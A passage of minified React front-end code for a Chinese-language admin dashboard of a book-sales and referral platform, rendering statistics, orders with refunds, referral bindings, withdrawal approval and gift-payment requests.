border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日总文章点击率"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:(a.todayClickRate??0).toFixed(2)}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"人均点击(总点击/独立用户)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-amber-500/20 flex items-center justify-center",children:s.jsx($c,{className:"w-6 h-6 text-amber-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日绑定"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayBindings})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-green-500/20 flex items-center justify-center",children:s.jsx(Ss,{className:"w-6 h-6 text-green-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日转化"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayConversions})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-purple-500/20 flex items-center justify-center",children:s.jsx($v,{className:"w-6 h-6 text-purple-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日佣金"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac] mt-1",children:["¥",a.todayEarnings.toFixed(2)]})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac]/20 flex items-center justify-center",children:s.jsx(dh,{className:"w-6 h-6 text-[#38bdac]"})})]})})})]}),(((Hn=a.todayClicksByPage)==null?void 0:Hn.length)??0)>0&&s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Ig,{className:"w-5 h-5 text-[#38bdac]"}),"每篇文章今日点击(按来源页/文章统计)"]}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"实际用户与实际文章的点击均计入;今日总点击与上表一致"})]}),s.jsx(Ee,{children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"pb-3 pr-4",children:"来源页/文章"}),s.jsx("th",{className:"pb-3 pr-4 text-right",children:"今日点击"}),s.jsx("th",{className:"pb-3 text-right",children:"占比"})]})}),s.jsx("tbody",{children:[...a.todayClicksByPage??[]].sort((K,Ue)=>Ue.clicks-K.clicks).map((K,Ue)=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-4 text-white font-mono",children:K.page||"(未区分)"}),s.jsx("td",{className:"py-2 pr-4 text-right text-white",children:K.clicks}),s.jsxs("td",{className:"py-2 text-right text-gray-400",children:[a.todayClicks>0?(K.clicks/a.todayClicks*100).toFixed(1):0,"%"]})]},Ue))})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(Ce,{className:"bg-orange-500/10 border-orange-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-orange-500/20 flex items-center justify-center",children:s.jsx(Ag,{className:"w-6 h-6 text-orange-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-orange-300 font-medium",children:"即将过期绑定"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.expiringBindings," 个"]}),s.jsx("p",{className:"text-orange-300/60 text-sm",children:"7天内到期,需关注转化"})]})]})})}),s.jsx(Ce,{className:"bg-blue-500/10 border-blue-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(jl,{className:"w-6 h-6 text-blue-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-blue-300 font-medium",children:"待审核提现"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.pendingWithdrawals," 笔"]}),s.jsxs("p",{className:"text-blue-300/60 text-sm",children:["共 ¥",a.pendingWithdrawAmount.toFixed(2)]})]}),s.jsx(te,{onClick:()=>e("withdrawals"),variant:"outline",className:"border-blue-500/50 text-blue-400 hover:bg-blue-500/20",children:"去审核"})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"本月统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"点击量"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthClicks})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"绑定数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthBindings})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"转化数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.monthEarnings.toFixed(2)]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx($c,{className:"w-5 h-5 text-[#38bdac]"}),"累计统计"]})}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总点击"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalClicks.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总绑定"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalBindings.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总转化"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.totalEarnings.toFixed(2)]})]})]}),s.jsxs("div",{className:"mt-4 p-4 bg-[#38bdac]/10 rounded-lg flex items-center justify-between",children:[s.jsx("span",{className:"text-gray-300",children:"点击转化率"}),s.jsxs("span",{className:"text-[#38bdac] font-bold text-xl",children:[a.conversionRate,"%"]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"推广统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-white",children:a.totalDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"推广用户数"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-green-400",children:a.activeDistributors}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"有收益用户"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-[#38bdac]",children:"90%"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"佣金比例"})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-orange-400",children:"30天"}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"绑定有效期"})]})]})})]})]}),t==="orders"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索订单号、用户名、手机号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[n.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无订单数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"订单号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"商品"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"支付方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"退款原因"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"推荐人/邀请码"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销佣金"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"下单时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Rn.map(K=>{var Ue,Je;return s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsxs("td",{className:"p-4 font-mono text-xs text-gray-400",children:[(Ue=K.id)==null?void 0:Ue.slice(0,12),"..."]}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:K.userNickname}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.userPhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white text-sm",children:(()=>{const xt=K.productType||K.type,ct=K.description||"",nt=String(K.productId||K.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?`余额充值 ¥${typeof K.amount=="number"?K.amount.toFixed(2):parseFloat(String(K.amount||"0")).toFixed(2)}`:gt?"超级个体开通费用":xt==="fullbook"?`${K.bookName||"《底层逻辑》"} - 全本`:xt==="match"?"匹配次数购买":`${K.bookName||"《底层逻辑》"} - ${K.sectionTitle||K.chapterTitle||`章节${K.productId||K.sectionId||""}`}`})()}),s.jsx("p",{className:"text-gray-500 text-xs",children:(()=>{const xt=K.productType||K.type,ct=K.description||"",nt=String(K.productId||K.sectionId||""),gt=xt==="vip"||ct.includes("VIP")||ct.toLowerCase().includes("vip")||nt.toLowerCase().includes("vip");return xt==="balance_recharge"?"余额充值":gt?"超级个体":xt==="fullbook"?"全书解锁":xt==="match"?"功能权益":K.chapterTitle||"单章购买"})()})]})}),s.jsxs("td",{className:"p-4 text-[#38bdac] font-bold",children:["¥",typeof K.amount=="number"?K.amount.toFixed(2):parseFloat(String(K.amount||"0")).toFixed(2)]}),s.jsx("td",{className:"p-4 text-gray-300",children:K.paymentMethod==="wechat"?"微信支付":K.paymentMethod==="balance"?"余额支付":K.paymentMethod==="alipay"?"支付宝":K.paymentMethod||"微信支付"}),s.jsx("td",{className:"p-4",children:K.status==="refunded"?s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0",children:"已退款"}):K.status==="completed"||K.status==="paid"?s.jsx(We,{className:"bg-green-500/20 text-green-400 border-0",children:"已完成"}):K.status==="pending"||K.status==="created"?s.jsx(We,{className:"bg-yellow-500/20 text-yellow-400 border-0",children:"待支付"}):s.jsx(We,{className:"bg-red-500/20 text-red-400 border-0",children:"已失败"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm max-w-[120px]",title:K.refundReason,children:K.status==="refunded"&&K.refundReason?K.refundReason:"-"}),s.jsx("td",{className:"p-4 text-gray-300 text-sm",children:K.referrerId||K.referralCode?s.jsxs("span",{title:K.referralCode||K.referrerCode||K.referrerId||"",children:[K.referrerNickname||K.referralCode||K.referrerCode||((Je=K.referrerId)==null?void 0:Je.slice(0,8)),(K.referralCode||K.referrerCode)&&` (${K.referralCode||K.referrerCode})`]}):"-"}),s.jsx("td",{className:"p-4 text-[#FFD700]",children:K.referrerEarnings?`¥${(typeof K.referrerEarnings=="number"?K.referrerEarnings:parseFloat(String(K.referrerEarnings))).toFixed(2)}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:(K.status==="paid"||K.status==="completed")&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{fe(K),$("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},K.id)})})]})}),t==="orders"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="bindings"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索用户昵称、手机号、推广码...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"active",children:"有效"}),s.jsx("option",{value:"converted",children:"已转化"}),s.jsx("option",{value:"expired",children:"已过期"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[pr.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无绑定数据"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"访客"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"分销商"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"绑定时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"到期时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"佣金"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:pr.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-medium",children:K.refereeNickname||"匿名用户"}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.refereePhone})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white",children:K.referrerName||"-"}),s.jsx("p",{className:"text-gray-500 text-xs font-mono",children:K.referrerCode})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:K.boundAt?new Date(K.boundAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:K.expiresAt?new Date(K.expiresAt).toLocaleDateString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(K.status)}),s.jsx("td",{className:"p-4",children:K.commission?s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",K.commission.toFixed(2)]}):s.jsx("span",{className:"text-gray-500",children:"-"})})]},K.id))})]})}),t==="bindings"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="withdrawals"&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-4",children:[s.jsxs("div",{className:"relative flex-1",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-400"}),s.jsx(se,{value:v,onChange:K=>k(K.target.value),placeholder:"搜索用户名称、账号...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white"})]}),s.jsxs("select",{value:C,onChange:K=>E(K.target.value),className:"px-4 py-2 bg-[#0f2137] border border-gray-700 rounded-lg text-white",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待审核"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"rejected",children:"已拒绝"})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-0",children:[Pn.length===0?s.jsx("div",{className:"py-12 text-center text-gray-500",children:"暂无提现记录"}):s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请人"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款方式"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"收款账号"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:Pn.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[K.userAvatar?s.jsx("img",{src:K.userAvatar,alt:"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-gray-600 flex items-center justify-center text-white text-sm font-medium",children:(K.userName||K.name||"?").slice(0,1)}),s.jsx("p",{className:"text-white font-medium",children:K.userName||K.name})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",K.amount.toFixed(2)]})}),s.jsx("td",{className:"p-4",children:s.jsx(We,{className:K.method==="wechat"?"bg-green-500/20 text-green-400 border-0":"bg-blue-500/20 text-blue-400 border-0",children:K.method==="wechat"?"微信":"支付宝"})}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-mono text-xs",children:K.account}),s.jsx("p",{className:"text-gray-500 text-xs",children:K.name})]})}),s.jsx("td",{className:"p-4 text-gray-400",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"}),s.jsx("td",{className:"p-4",children:Yt(K.status)}),s.jsx("td",{className:"p-4 text-right",children:K.status==="pending"&&s.jsxs("div",{className:"flex gap-2 justify-end",children:[s.jsxs(te,{size:"sm",onClick:()=>ln(K.id),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx($v,{className:"w-4 h-4 mr-1"}),"通过"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>yt(K.id),className:"border-red-500/50 text-red-400 hover:bg-red-500/20",children:[s.jsx(Jw,{className:"w-4 h-4 mr-1"}),"拒绝"]})]})})]},K.id))})]})}),t==="withdrawals"&&s.jsx(is,{page:T,totalPages:rn,total:R,pageSize:O,onPageChange:I,onPageSizeChange:K=>{L(K),I(1)}})]})})]}),t==="giftPay"&&s.jsx("div",{className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs("div",{className:"flex flex-wrap items-center justify-between gap-4",children:[s.jsx(Qe,{className:"text-white",children:"代付请求列表"}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsxs("select",{className:"bg-[#0a1628] border border-gray-700 text-white rounded px-3 py-1.5 text-sm",value:ye,onChange:K=>{Re(K.target.value),re(1)},children:[s.jsx("option",{value:"",children:"全部状态"}),s.jsx("option",{value:"pending",children:"待支付(旧)"}),s.jsx("option",{value:"pending_pay",children:"待发起人支付"}),s.jsx("option",{value:"paid",children:"已支付"}),s.jsx("option",{value:"refunded",children:"已退款"}),s.jsx("option",{value:"cancelled",children:"已取消"}),s.jsx("option",{value:"expired",children:"已过期"})]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>lt("giftPay",!0),className:"border-gray-600 text-gray-300",children:[s.jsx(qe,{className:"w-4 h-4 mr-1"}),"刷新"]})]})]})}),s.jsxs(Ee,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"请求号"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"发起人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"商品/金额"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"份数/已领"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"付款人"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium text-gray-400",children:"创建时间"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:J.map(K=>s.jsxs("tr",{className:"hover:bg-[#0a1628]",children:[s.jsx("td",{className:"p-4 font-mono text-xs text-gray-400",children:K.requestSn}),s.jsx("td",{className:"p-4",children:s.jsx("p",{className:"text-white text-sm",children:K.initiatorNick||K.initiatorUserId})}),s.jsxs("td",{className:"p-4",children:[s.jsxs("p",{className:"text-white",children:[K.productType," · ¥",K.amount.toFixed(2)]}),K.description&&s.jsx("p",{className:"text-gray-500 text-xs",children:K.description})]}),s.jsx("td",{className:"p-4 text-gray-400",children:(K.quantity??1)>1?`${K.quantity}份 / 已领${K.redeemedCount??0}`:"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:K.payerNick||(K.payerUserId?K.payerUserId:"-")}),s.jsx("td",{className:"p-4",children:s.jsx(We,{className:K.status==="paid"?"bg-green-500/20 text-green-400 border-0":K.status==="pending"||K.status==="pending_pay"?"bg-amber-500/20 text-amber-400 border-0":K.status==="refunded"?"bg-red-500/20 text-red-400 border-0":"bg-gray-500/20 text-gray-400 border-0",children:K.status==="paid"?"已支付":K.status==="pending"||K.status==="pending_pay"?"待支付":K.status==="refunded"?"已退款":K.status==="cancelled"?"已取消":"已过期"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:K.createdAt?new Date(K.createdAt).toLocaleString("zh-CN"):"-"})]},K.id))})]})}),J.length===0&&!g&&s.jsx("p",{className:"text-center py-8 text-gray-500",children:"暂无代付请求"}),ue>20&&s.jsx("div",{className:"mt-4 flex justify-center",children:s.jsx(is,{page:V,totalPages:Math.ceil(ue/20),total:ue,pageSize:20,onPageChange:re,onPageSizeChange:()=>{}})})]})]})})]}),s.jsx(Dt,{open:!!ne,onOpenChange:K=>!K&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),ne&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",ne.orderSn||ne.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",typeof ne.amount=="number"?ne.amount.toFixed(2):parseFloat(String(ne.amount||"0")).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:xe,onChange:K=>$(K.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>fe(null),disabled:H,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:Mt,disabled:H,children:H?"退款中...":"确认退款"})]})]})}),s.jsx(Dt,{open:!!P,onOpenChange:K=>!K&&In(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:B,onChange:K=>_(K.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:In,disabled:W,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:nn,disabled:W||!B.trim(),children:W?"提交中...":"确认拒绝"})]})]})}),t==="settings"&&s.jsx("div",{className:"-mx-8 -mt-6",children:s.jsx(zk,{embedded:!0})})]})}function _P(){const[t,e]=b.useState([]),[n,r]=b.useState({total:0,pendingCount:0,pendingAmount:0,successCount:0,successAmount:0,failedCount:0}),[a,i]=b.useState(!0),[o,c]=b.useState(null),[u,h]=b.useState("all"),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(0),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(!1);async function R(){var $,H,oe,P,q,B,_;i(!0),c(null);try{const W=new URLSearchParams({status:u,page:String(f),pageSize:String(g)}),le=await De(`/api/admin/withdrawals?${W}`);if(le!=null&&le.success){const J=le.withdrawals||[];e(J),w(le.total??(($=le.stats)==null?void 0:$.total)??J.length),r({total:((H=le.stats)==null?void 0:H.total)??le.total??J.length,pendingCount:((oe=le.stats)==null?void 0:oe.pendingCount)??0,pendingAmount:((P=le.stats)==null?void 0:P.pendingAmount)??0,successCount:((q=le.stats)==null?void 0:q.successCount)??0,successAmount:((B=le.stats)==null?void 0:B.successAmount)??0,failedCount:((_=le.stats)==null?void 0:_.failedCount)??0})}else c("加载提现记录失败")}catch(W){console.error("Load withdrawals error:",W),c("加载失败,请检查网络后重试")}finally{i(!1)}}b.useEffect(()=>{m(1)},[u]),b.useEffect(()=>{R()},[u,f,g]);const D=Math.ceil(N/g)||1;async function z($){const H=t.find(oe=>oe.id===$);if(H!=null&&H.userCommissionInfo&&H.userCommissionInfo.availableAfterThis<0){if(!confirm(`⚠️ 风险警告:该用户审核后余额为负数(¥${H.userCommissionInfo.availableAfterThis.toFixed(2)}),可能存在超额提现。 -确认已核实用户账户并完成打款?`))return}else if(!confirm("确认已完成打款?批准后将更新用户提现记录。"))return;k($);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"approve"});oe!=null&&oe.success?R():ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{k(null)}}function Z($){E($),I("")}async function ne(){const $=C;if(!$)return;const H=T.trim();if(!H){ie.error("请填写拒绝原因");return}L(!0);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"reject",errorMessage:H});oe!=null&&oe.success?(ie.success("已拒绝该提现申请"),E(null),I(""),R()):ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{L(!1)}}function fe(){C&&ie.info("已取消操作"),E(null),I("")}function xe($){switch($){case"pending":return s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待处理"});case"pending_confirm":return s.jsx(qe,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 